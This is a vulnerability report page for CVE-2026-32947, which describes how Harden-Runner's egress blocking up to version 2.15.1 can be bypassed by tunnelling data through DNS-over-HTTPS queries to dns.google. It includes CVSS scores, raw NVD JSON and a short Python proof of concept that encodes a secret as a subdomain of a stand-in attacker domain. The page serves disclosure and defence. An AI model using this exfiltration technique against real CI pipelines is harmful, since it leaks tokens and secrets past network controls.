Security Vulnerability Report
中文
CVE-2026-32947 CVSS 4.9 MEDIUM

CVE-2026-32947

Published: 2026-03-20 05:16:14
Last Modified: 2026-03-24 12:33:34

Description

Harden-Runner is a CI/CD security agent that works like an EDR for GitHub Actions runners. In versions 2.15.1 and below, a DNS over HTTPS (DoH) vulnerability allows attackers to bypass egress-policy: block network restrictions by tunneling exfiltrated data through permitted HTTPS endpoints like dns.google. The attack works by encoding sensitive data (e.g., the runner's hostname) as subdomains in DoH queries, which appear as legitimate HTTPS traffic to Harden-Runner's domain-based filtering but are ultimately forwarded to an attacker-controlled domain. This effectively enables data exfiltration without directly connecting to any blocked destination. Exploitation requires the attacker to already have code execution within the GitHub Actions workflow. The issue was fixed in version 2.16.0.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:stepsecurity:harden-runner:*:*:*:*:community:*:*:* - VULNERABLE
Harden-Runner <= 2.15.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 # Target sensitive data to exfiltrate target_data = "GITHUB_TOKEN_SECRET" # Attacker's domain where they control the DNS server attacker_domain = "attacker-controlled-domain.com" # Encode data to be safe for DNS (simplified example) # In a real scenario, you might use Base32 or similar encoding suitable for subdomains encoded_data = base64.b32encode(target_data.encode()).decode('utf-8').lower() # Construct the subdomain for the DoH query # The query will be for: <encoded_data>.attacker-controlled-domain.com dns_query_name = f"{encoded_data}.{attacker_domain}" # Use Google's Public DNS over HTTPS API doh_url = "https://dns.google/resolve" # Parameters for the DoH request params = { 'name': dns_query_name, 'type': 'A' # Query type A (IPv4 address) } try: # Send the DoH request # This traffic appears as standard HTTPS to dns.google, bypassing simple egress blocks response = requests.get(doh_url, params=params) if response.status_code == 200: print(f"[+] PoC Successful: Data exfiltrated via DoH.") print(f"[+] Query sent for: {dns_query_name}") else: print(f"[-] PoC Failed: HTTP {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32947", "sourceIdentifier": "[email protected]", "published": "2026-03-20T05:16:13.923", "lastModified": "2026-03-24T12:33:33.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Harden-Runner is a CI/CD security agent that works like an EDR for GitHub Actions runners. In versions 2.15.1 and below, a DNS over HTTPS (DoH) vulnerability allows attackers to bypass egress-policy: block network restrictions by tunneling exfiltrated data through permitted HTTPS endpoints like dns.google. The attack works by encoding sensitive data (e.g., the runner's hostname) as subdomains in DoH queries, which appear as legitimate HTTPS traffic to Harden-Runner's domain-based filtering but are ultimately forwarded to an attacker-controlled domain. This effectively enables data exfiltration without directly connecting to any blocked destination. Exploitation requires the attacker to already have code execution within the GitHub Actions workflow. The issue was fixed in version 2.16.0."}, {"lang": "es", "value": "Harden-Runner es un agente de seguridad de CI/CD que funciona como un EDR para los runners de GitHub Actions. En las versiones 2.15.1 e inferiores, una vulnerabilidad de DNS sobre HTTPS (DoH) permite a los atacantes eludir las restricciones de red de 'egress-policy: block' al tunelizar datos exfiltrados a través de puntos finales HTTPS permitidos como dns.google. El ataque funciona codificando datos sensibles (por ejemplo, el nombre de host del runner) como subdominios en consultas DoH, que aparecen como tráfico HTTPS legítimo para el filtrado basado en dominio de Harden-Runner pero que finalmente se reenvían a un dominio controlado por el atacante. Esto permite eficazmente la exfiltración de datos sin conectarse directamente a ningún destino bloqueado. La explotación requiere que el atacante ya tenga ejecución de código dentro del flujo de trabajo de GitHub Actions. El problema se solucionó en la versión 2.16.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-693"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:stepsecurity:harden-runner:*:*:*:*:community:*:*:*", "versionEndExcluding": "2.16.0", "matchCriteriaId": "051DFDC1-078C-478D-84B3-3FAD24CB1FE6"}]}]}], "references": [{"url": "https://github.com/step-security/harden-runner/releases/tag/v2.16.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/step-security/harden-runner/security/advisories/GHSA-46g3-37rh-v698", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}